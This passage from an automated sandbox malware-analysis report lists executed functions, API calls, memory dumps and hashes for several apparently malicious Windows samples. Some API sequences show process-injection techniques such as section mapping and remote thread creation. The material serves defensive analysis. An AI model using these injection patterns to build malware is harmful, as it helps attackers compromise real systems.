RtlCreateUserThread.NTDLL ref: 00403177
NtTerminateProcess.NTDLL ref: 00403190

Memory Dump Source

Source File: 00000006.00000002.2653902687.0000000000400000.00000040.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_E647.jbxd

Similarity

API ID: CreateProcessTerminateThreadUser
String ID:
API String ID: 1921587553-0
Opcode ID: 8dd8c1b6c2a2e81b31e5df05537a0a765b57e58f23bcff5050bac5d1a8738f05
Instruction ID: 174b4c01c38e91558bfb09f2734ea8af57ab2b253068959c7a4b5a028629c542
Opcode Fuzzy Hash: 8dd8c1b6c2a2e81b31e5df05537a0a765b57e58f23bcff5050bac5d1a8738f05
Instruction Fuzzy Hash: 2D415A31218E084FD768EF5CA84976277D5FB98311F6A43BAE809D7385EA34DC1183C9

Function 024E003C Relevance: 11.0, APIs: 4, Strings: 2, Instructions: 515
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNELBASE(00000000,?,00001000,00000004), ref: 024E024D

Strings

kernel32.dll, xrefs: 024E008F, 024E0095
cess, xrefs: 024E018D

Memory Dump Source

Source File: 00000006.00000002.2655265915.00000000024E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 024E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_24e0000_E647.jbxd

Yara matches

Similarity

API ID: AllocVirtual
String ID: cess$kernel32.dll
API String ID: 4275171209-1230238691
Opcode ID: aaa6c488ea091c11cf1d14b1b8159415dd1a008d9b857f0942c425a8c5fa1e0a
Instruction ID: 0783c2768731fe3e8d9e8d57ada001befee56267019b85a16529305c8023ab95
Opcode Fuzzy Hash: aaa6c488ea091c11cf1d14b1b8159415dd1a008d9b857f0942c425a8c5fa1e0a
Instruction Fuzzy Hash: 76527A74A00229DFDB64CF58C984BADBBB1BF09305F1480DAE55EAB351DB70AA85CF14

Function 0267F506 Relevance: 3.0, APIs: 2, Instructions: 41
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateToolhelp32Snapshot.KERNEL32(00000008,00000000), ref: 0267F52E
Module32First.KERNEL32(00000000,00000224), ref: 0267F54E

Memory Dump Source

Source File: 00000006.00000002.2655596562.000000000266D000.00000040.00000020.00020000.00000000.sdmp, Offset: 0266D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_266d000_E647.jbxd

Yara matches

Similarity

API ID: CreateFirstModule32SnapshotToolhelp32
String ID:
API String ID: 3833638111-0
Opcode ID: 3788706d20f5b898e185810e19a2e38a50b9b544ac306a9cd33eedd6d527d18a
Instruction ID: 7e9eeba1dd67d6f10ae028d76bff47f4cac2a2936cb21c3dc6b6560ddcb2e3fc
Opcode Fuzzy Hash: 3788706d20f5b898e185810e19a2e38a50b9b544ac306a9cd33eedd6d527d18a
Instruction Fuzzy Hash: 8AF06271100711ABE7303EF9E88DF6AB6E8AF59625F100629E642919C0DB70E9458A61

Function 024E0E0F Relevance: 3.0, APIs: 2, Instructions: 15
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetErrorMode.KERNELBASE(00000400,?,?,024E0223,?,?), ref: 024E0E19
SetErrorMode.KERNELBASE(00000000,?,?,024E0223,?,?), ref: 024E0E1E

Memory Dump Source

Source File: 00000006.00000002.2655265915.00000000024E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 024E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_24e0000_E647.jbxd

Yara matches

Similarity

API ID: ErrorMode
String ID:
API String ID: 2340568224-0
Opcode ID: 027e3930a8fc815aeaa48c4a19c17906f2e2d358c6b73c72f02d274321b10a64
Instruction ID: 976d7545bf58b2575a6f5fc2ad6292d4e66bc1bcbf73e3e118de18fb1b373a76
Opcode Fuzzy Hash: 027e3930a8fc815aeaa48c4a19c17906f2e2d358c6b73c72f02d274321b10a64
Instruction Fuzzy Hash: B0D0123114512877DB003A94DC09BCE7B1CDF05B67F008021FB0DE9180C7B0954046E5

Function 00401991 Relevance: 1.3, APIs: 1, Instructions: 64
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00001388), ref: 004019E0

Memory Dump Source

Source File: 00000006.00000002.2653902687.0000000000400000.00000040.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_E647.jbxd

Similarity

API ID: Sleep
String ID:
API String ID: 3472027048-0
Opcode ID: f786c9b48305f926c2fe9aa6a4a640c3689c3b4dd88574010f3490bae00a72b6
Instruction ID: 467f6a5a6a8686429b8edb25725d085830e465699c84407eda40119e08959f9c
Opcode Fuzzy Hash: f786c9b48305f926c2fe9aa6a4a640c3689c3b4dd88574010f3490bae00a72b6
Instruction Fuzzy Hash: 8C1121B1709204EBD700AA849DA2EBB3258AB01744F300137B653B90F1D13DA913BBAF

Function 004019A9 Relevance: 1.3, APIs: 1, Instructions: 58
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00001388), ref: 004019E0

Memory Dump Source

Source File: 00000006.00000002.2653902687.0000000000400000.00000040.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_E647.jbxd

Similarity

API ID: Sleep
String ID:
API String ID: 3472027048-0
Opcode ID: 2350c7394a6ede19c9a3da40f224c600cb7e67420b87972ec1723c2f239d6a32
Instruction ID: 4b76d244f62df5aef60288e90a8a0e9aa1e58495ecd570ece09185835f727098
Opcode Fuzzy Hash: 2350c7394a6ede19c9a3da40f224c600cb7e67420b87972ec1723c2f239d6a32
Instruction Fuzzy Hash: E801CCB1709204EBDB009A849DA2FBB3254AB45704F304177BA53B91F1C13EA513BBAF

Function 004019AF Relevance: 1.3, APIs: 1, Instructions: 52
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00001388), ref: 004019E0

Memory Dump Source

Source File: 00000006.00000002.2653902687.0000000000400000.00000040.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_E647.jbxd

Similarity

API ID: Sleep
String ID:
API String ID: 3472027048-0
Opcode ID: 8626c13d4c5bea9750268c441cbe70d84321be4982c5847259c3e7a51e7bc089
Instruction ID: a86496d5c410a92ffac719b016bd7af058b42942f4ddbef250fd57ab9bd781cb
Opcode Fuzzy Hash: 8626c13d4c5bea9750268c441cbe70d84321be4982c5847259c3e7a51e7bc089
Instruction Fuzzy Hash: BA01DE71309204EBDB00AA848C81BAB3264AB45300F204177F653790F1D23E9522AF5B

Function 004019B8 Relevance: 1.3, APIs: 1, Instructions: 52
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00001388), ref: 004019E0

Memory Dump Source

Source File: 00000006.00000002.2653902687.0000000000400000.00000040.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_E647.jbxd

Similarity

API ID: Sleep
String ID:
API String ID: 3472027048-0
Opcode ID: 7cb05b4a08deaf112b9499aec8d4cd6db564fb490b0e62221787527af13cff27
Instruction ID: 05dce09b803754dc438333d14fb16c9d77e26ddd6ef6fde50045693b00902851
Opcode Fuzzy Hash: 7cb05b4a08deaf112b9499aec8d4cd6db564fb490b0e62221787527af13cff27
Instruction Fuzzy Hash: 67019E31309104EBEB009B949C82BAB3764AF46314F2445B7F652B91E1D63D9922AB5B

Function 0267F1C5 Relevance: 1.3, APIs: 1, Instructions: 48
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNELBASE(00000000,?,00001000,00000040), ref: 0267F216

Memory Dump Source

Source File: 00000006.00000002.2655596562.000000000266D000.00000040.00000020.00020000.00000000.sdmp, Offset: 0266D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_266d000_E647.jbxd

Yara matches

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 499270a49480bde3a93b1541ef130abcc6c407f96609cce36d97d57e1d2ec7bb
Instruction ID: fbb9baa782d1ca38b2fafafe134811812fee6eb86e773cd6243ff91d34a09328
Opcode Fuzzy Hash: 499270a49480bde3a93b1541ef130abcc6c407f96609cce36d97d57e1d2ec7bb
Instruction Fuzzy Hash: A0113C79A00208EFDB01DF98C985E98BBF5AF08350F1580A4F9489B361D371EA90DF90

Analysis Process: uejbbriPID: 3724, Parent PID: 1068COMMON

Execution Graph

Execution Coverage:	6.3%
Dynamic/Decrypted Code Coverage:	43.3%
Signature Coverage:	0%
Total number of Nodes:	120
Total number of Limit Nodes:	4

Executed Functions

Function 004014C4 Relevance: 10.8, APIs: 7, Instructions: 277
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000007.00000002.2893773233.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_uejbbri.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a4cfe7beb35eebf88c645a46c10bdf16ef044b5e65f6e3ad60f9fe20b10e07c2
Instruction ID: a2440897234d9063cbd2a71cb92c382042c3cd10596cdc4f18a7c269882a1901
Opcode Fuzzy Hash: a4cfe7beb35eebf88c645a46c10bdf16ef044b5e65f6e3ad60f9fe20b10e07c2
Instruction Fuzzy Hash: 0981D5B4504244FBDB208F95CC49FEB7BB8EF81740F20416BF902BA1E5D6749902DB66

Function 004015D5 Relevance: 10.7, APIs: 7, Instructions: 166
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 0040166F
NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 0040169C
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 004016BF
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 004016DD
NtCreateSection.NTDLL(?,0000000E,00000000,?,00000040,08000000,00000000), ref: 0040171E
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 0040174F
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000020), ref: 00401771

Memory Dump Source

Source File: 00000007.00000002.2893773233.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_uejbbri.jbxd

Similarity

API ID: Section$View$Create$DuplicateObject
String ID:
API String ID: 1546783058-0
Opcode ID: a048fff95c548b67d4af93e06dbb446bf3167c5580fcedad9e3c57286057ba63
Instruction ID: 5b275a0397ac31cab10c66c3112b8ecfdbc4447489e22d1c2cba3eb21d005058
Opcode Fuzzy Hash: a048fff95c548b67d4af93e06dbb446bf3167c5580fcedad9e3c57286057ba63
Instruction Fuzzy Hash: 8251F9B5900245BBEB208F91CC48FEF7BB8EF85710F10416AFA11BA2A5D7759941CB64

Function 004015DF Relevance: 10.7, APIs: 7, Instructions: 164
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 0040166F
NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 0040169C
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 004016BF
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 004016DD
NtCreateSection.NTDLL(?,0000000E,00000000,?,00000040,08000000,00000000), ref: 0040171E
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 0040174F
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000020), ref: 00401771

Memory Dump Source

Source File: 00000007.00000002.2893773233.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_uejbbri.jbxd

Similarity

API ID: Section$View$Create$DuplicateObject
String ID:
API String ID: 1546783058-0
Opcode ID: 7305ee3979d5b4667fc5844815bc59bb72ccff8572694ad63906bf8bfbab0545
Instruction ID: aa7ad941c6157971e71dc2736092b98b642c15495c2c07021be349f0f8194e9f
Opcode Fuzzy Hash: 7305ee3979d5b4667fc5844815bc59bb72ccff8572694ad63906bf8bfbab0545
Instruction Fuzzy Hash: 4D51FAB5900249BBEB208F91CC48FEF7BB8EF85710F10015AFA11BA2A5D7749945CB64

Function 004015F2 Relevance: 10.7, APIs: 7, Instructions: 164
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 0040166F
NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 0040169C
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 004016BF
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 004016DD
NtCreateSection.NTDLL(?,0000000E,00000000,?,00000040,08000000,00000000), ref: 0040171E
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 0040174F
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000020), ref: 00401771

Memory Dump Source

Source File: 00000007.00000002.2893773233.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_uejbbri.jbxd

Similarity

API ID: Section$View$Create$DuplicateObject
String ID:
API String ID: 1546783058-0
Opcode ID: 6fcf8b22fbdcb8380d2881299c31f747d5ad1c4e66094b591aeffa0cf5ced54e
Instruction ID: 51677960ee3875d5e78d4b2c0b9a124aae989836c1cf5ff6a0c78d9f2f0b6c9a
Opcode Fuzzy Hash: 6fcf8b22fbdcb8380d2881299c31f747d5ad1c4e66094b591aeffa0cf5ced54e
Instruction Fuzzy Hash: 8E51FAB5900249BBEB208F91CC48FAFBBB8EF85710F10415AF911BA2A5D7759941CB64

Function 004015E6 Relevance: 10.7, APIs: 7, Instructions: 163
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 0040166F
NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 0040169C
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 004016BF
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 004016DD
NtCreateSection.NTDLL(?,0000000E,00000000,?,00000040,08000000,00000000), ref: 0040171E
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 0040174F
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000020), ref: 00401771

Memory Dump Source

Source File: 00000007.00000002.2893773233.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_uejbbri.jbxd

Similarity

API ID: Section$View$Create$DuplicateObject
String ID:
API String ID: 1546783058-0
Opcode ID: da093589d2d920786b053f62cd85dab4a028aa54c55a505f1a39e86dd67689ba
Instruction ID: 771dbcf6e2504e630b0d67c3c545d31db11f89db77175d6a648901ef483dfe93
Opcode Fuzzy Hash: da093589d2d920786b053f62cd85dab4a028aa54c55a505f1a39e86dd67689ba
Instruction Fuzzy Hash: 5451F9B5900249BFEB208F91CC48FEFBBB8EF85B10F100159F911BA2A5D7709945CB64

Function 00403043 Relevance: 3.2, APIs: 2, Instructions: 168
nativethreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlCreateUserThread.NTDLL ref: 00403177
NtTerminateProcess.NTDLL ref: 00403190

Memory Dump Source

Source File: 00000007.00000002.2893773233.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_uejbbri.jbxd

Similarity

API ID: CreateProcessTerminateThreadUser
String ID:
API String ID: 1921587553-0
Opcode ID: 8dd8c1b6c2a2e81b31e5df05537a0a765b57e58f23bcff5050bac5d1a8738f05
Instruction ID: 174b4c01c38e91558bfb09f2734ea8af57ab2b253068959c7a4b5a028629c542
Opcode Fuzzy Hash: 8dd8c1b6c2a2e81b31e5df05537a0a765b57e58f23bcff5050bac5d1a8738f05
Instruction Fuzzy Hash: 2D415A31218E084FD768EF5CA84976277D5FB98311F6A43BAE809D7385EA34DC1183C9

Function 024A003C Relevance: 11.0, APIs: 4, Strings: 2, Instructions: 515
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNELBASE(00000000,?,00001000,00000004), ref: 024A024D

Strings

kernel32.dll, xrefs: 024A008F, 024A0095
cess, xrefs: 024A018D

Memory Dump Source

Source File: 00000007.00000002.2900388143.00000000024A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 024A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_24a0000_uejbbri.jbxd

Yara matches

Similarity

API ID: AllocVirtual
String ID: cess$kernel32.dll
API String ID: 4275171209-1230238691
Opcode ID: aaa6c488ea091c11cf1d14b1b8159415dd1a008d9b857f0942c425a8c5fa1e0a
Instruction ID: 47db5edc071913791deb89cbc8230648d4aa3d877f6c379e8469fc357dd10e18
Opcode Fuzzy Hash: aaa6c488ea091c11cf1d14b1b8159415dd1a008d9b857f0942c425a8c5fa1e0a
Instruction Fuzzy Hash: 3C526974A01229DFDB64CF58C994BADBBB1BF09304F1480DAE94DAB351DB30AA95CF14

Function 025FF32E Relevance: 3.0, APIs: 2, Instructions: 41
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateToolhelp32Snapshot.KERNEL32(00000008,00000000), ref: 025FF356
Module32First.KERNEL32(00000000,00000224), ref: 025FF376

Memory Dump Source

Source File: 00000007.00000002.2900663679.00000000025ED000.00000040.00000020.00020000.00000000.sdmp, Offset: 025ED000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_25ed000_uejbbri.jbxd

Yara matches

Similarity

API ID: CreateFirstModule32SnapshotToolhelp32
String ID:
API String ID: 3833638111-0
Opcode ID: 3788706d20f5b898e185810e19a2e38a50b9b544ac306a9cd33eedd6d527d18a
Instruction ID: 96436dbf681810cf7d69a3729102a70ad35d228d29e1b3fc52a25a1db227d6fd
Opcode Fuzzy Hash: 3788706d20f5b898e185810e19a2e38a50b9b544ac306a9cd33eedd6d527d18a
Instruction Fuzzy Hash: FFF096325107116BD7603BF5AC8DF6E76E8BF49725F140528E742D1CC0DB74E8458A69

Function 024A0E0F Relevance: 3.0, APIs: 2, Instructions: 15
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetErrorMode.KERNELBASE(00000400,?,?,024A0223,?,?), ref: 024A0E19
SetErrorMode.KERNELBASE(00000000,?,?,024A0223,?,?), ref: 024A0E1E

Memory Dump Source

Source File: 00000007.00000002.2900388143.00000000024A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 024A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_24a0000_uejbbri.jbxd

Yara matches

Similarity

API ID: ErrorMode
String ID:
API String ID: 2340568224-0
Opcode ID: 027e3930a8fc815aeaa48c4a19c17906f2e2d358c6b73c72f02d274321b10a64
Instruction ID: 8cb0d109644ce714bdc84d03a3357bbc544987171c927014f260ece32c00e347
Opcode Fuzzy Hash: 027e3930a8fc815aeaa48c4a19c17906f2e2d358c6b73c72f02d274321b10a64
Instruction Fuzzy Hash: 26D0123114512877DB002A94DC09BCE7B1CDF09B66F008011FB0DDD180C770954046E5

Function 00401991 Relevance: 1.3, APIs: 1, Instructions: 64
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00001388), ref: 004019E0

Memory Dump Source

Source File: 00000007.00000002.2893773233.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_uejbbri.jbxd

Similarity

API ID: Sleep
String ID:
API String ID: 3472027048-0
Opcode ID: f786c9b48305f926c2fe9aa6a4a640c3689c3b4dd88574010f3490bae00a72b6
Instruction ID: 467f6a5a6a8686429b8edb25725d085830e465699c84407eda40119e08959f9c
Opcode Fuzzy Hash: f786c9b48305f926c2fe9aa6a4a640c3689c3b4dd88574010f3490bae00a72b6
Instruction Fuzzy Hash: 8C1121B1709204EBD700AA849DA2EBB3258AB01744F300137B653B90F1D13DA913BBAF

Function 004019A9 Relevance: 1.3, APIs: 1, Instructions: 58
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00001388), ref: 004019E0

Memory Dump Source

Source File: 00000007.00000002.2893773233.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_uejbbri.jbxd

Similarity

API ID: Sleep
String ID:
API String ID: 3472027048-0
Opcode ID: 2350c7394a6ede19c9a3da40f224c600cb7e67420b87972ec1723c2f239d6a32
Instruction ID: 4b76d244f62df5aef60288e90a8a0e9aa1e58495ecd570ece09185835f727098
Opcode Fuzzy Hash: 2350c7394a6ede19c9a3da40f224c600cb7e67420b87972ec1723c2f239d6a32
Instruction Fuzzy Hash: E801CCB1709204EBDB009A849DA2FBB3254AB45704F304177BA53B91F1C13EA513BBAF

Function 004019AF Relevance: 1.3, APIs: 1, Instructions: 52
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00001388), ref: 004019E0

Memory Dump Source

Source File: 00000007.00000002.2893773233.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_uejbbri.jbxd

Similarity

API ID: Sleep
String ID:
API String ID: 3472027048-0
Opcode ID: 8626c13d4c5bea9750268c441cbe70d84321be4982c5847259c3e7a51e7bc089
Instruction ID: a86496d5c410a92ffac719b016bd7af058b42942f4ddbef250fd57ab9bd781cb
Opcode Fuzzy Hash: 8626c13d4c5bea9750268c441cbe70d84321be4982c5847259c3e7a51e7bc089
Instruction Fuzzy Hash: BA01DE71309204EBDB00AA848C81BAB3264AB45300F204177F653790F1D23E9522AF5B

Function 004019B8 Relevance: 1.3, APIs: 1, Instructions: 52
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00001388), ref: 004019E0

Memory Dump Source

Source File: 00000007.00000002.2893773233.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_uejbbri.jbxd

Similarity

API ID: Sleep
String ID:
API String ID: 3472027048-0
Opcode ID: 7cb05b4a08deaf112b9499aec8d4cd6db564fb490b0e62221787527af13cff27
Instruction ID: 05dce09b803754dc438333d14fb16c9d77e26ddd6ef6fde50045693b00902851
Opcode Fuzzy Hash: 7cb05b4a08deaf112b9499aec8d4cd6db564fb490b0e62221787527af13cff27
Instruction Fuzzy Hash: 67019E31309104EBEB009B949C82BAB3764AF46314F2445B7F652B91E1D63D9922AB5B

Function 025FEFED Relevance: 1.3, APIs: 1, Instructions: 48
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNELBASE(00000000,?,00001000,00000040), ref: 025FF03E

Memory Dump Source

Source File: 00000007.00000002.2900663679.00000000025ED000.00000040.00000020.00020000.00000000.sdmp, Offset: 025ED000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_25ed000_uejbbri.jbxd

Yara matches

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 499270a49480bde3a93b1541ef130abcc6c407f96609cce36d97d57e1d2ec7bb
Instruction ID: a8be367e8d7fd57632fa0a520358ea50f5efcf969faacc22d48af78544e0087c
Opcode Fuzzy Hash: 499270a49480bde3a93b1541ef130abcc6c407f96609cce36d97d57e1d2ec7bb
Instruction Fuzzy Hash: 2A112D79A00208EFDB01DF98C989E99BBF5AF08750F058094FA489B761D771EA50DF84

Analysis Process: B575.exePID: 6160, Parent PID: 1028COMMON

Execution Graph

Execution Coverage:	19.6%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	38.5%
Total number of Nodes:	818
Total number of Limit Nodes:	31

Executed Functions

Function 00007FF7CB879224 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 158
synchronizationtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSystemTimeAsFileTime.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000002,?), ref: 00007FF7CB87924D

Part of subcall function 00007FF7CB8725DC: GetProcessHeap.KERNEL32(?,?,?,00007FF7CB871985,?,?,?,00007FF7CB87155F), ref: 00007FF7CB8725E5

Part of subcall function 00007FF7CB8725B4: GetProcessHeap.KERNEL32 ref: 00007FF7CB8725C1
Part of subcall function 00007FF7CB8725B4: HeapFree.KERNEL32 ref: 00007FF7CB8725CF

WaitForSingleObject.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000002,?), ref: 00007FF7CB8793AB
GetSystemTimeAsFileTime.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000002,?), ref: 00007FF7CB8793C0
TerminateProcess.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000002,?), ref: 00007FF7CB8793EF

Part of subcall function 00007FF7CB87968C: PeekNamedPipe.KERNELBASE ref: 00007FF7CB8796B8

WaitForSingleObject.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000002,?), ref: 00007FF7CB879421
GetExitCodeProcess.KERNELBASE ref: 00007FF7CB879460

Strings

& echo , xrefs: 00007FF7CB8792BF

Memory Dump Source

Source File: 00000008.00000002.4537706234.00007FF7CB871000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF7CB870000, based on PE: true

Associated: 00000008.00000002.4537651105.00007FF7CB870000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.4537750976.00007FF7CB881000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.4537787827.00007FF7CB884000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.4537827092.00007FF7CB885000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ff7cb870000_B575.jbxd

Similarity

API ID: ProcessTime$Heap$FileObjectSingleSystemWait$CodeExitFreeNamedPeekPipeTerminate
String ID: & echo
API String ID: 2711250446-3491486023
Opcode ID: f92ee800b1b5a381f7537eb51654d869d3388ac1e002b9d5a8edb654dcec901f
Instruction ID: f1f3b4602660c41a43eb6dcc457bac1af7866b2f85ac833e43a63e4e2c84ad03
Opcode Fuzzy Hash: f92ee800b1b5a381f7537eb51654d869d3388ac1e002b9d5a8edb654dcec901f
Instruction Fuzzy Hash: B2517425A0965292EE20FF19E4446BAE3D1FF84BA4F841031FA4E576A5DF3CE495C3A0

Function 00007FF7CB877138 Relevance: 4.5, APIs: 3, Instructions: 38
comCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CoInitializeEx.COMBASE(?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF7CB877503), ref: 00007FF7CB87714F
CoInitializeSecurity.COMBASE ref: 00007FF7CB8771B6
CoCreateInstance.COMBASE ref: 00007FF7CB8771D3

Memory Dump Source

Source File: 00000008.00000002.4537706234.00007FF7CB871000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF7CB870000, based on PE: true

Associated: 00000008.00000002.4537651105.00007FF7CB870000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.4537750976.00007FF7CB881000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.4537787827.00007FF7CB884000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.4537827092.00007FF7CB885000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ff7cb870000_B575.jbxd

Similarity

API ID: Initialize$CreateInstanceSecurity
String ID:
API String ID: 89549506-0
Opcode ID: b06b60c75a0e364457e69cf4407a40afd88aa559a7b63d120074e74016c78773
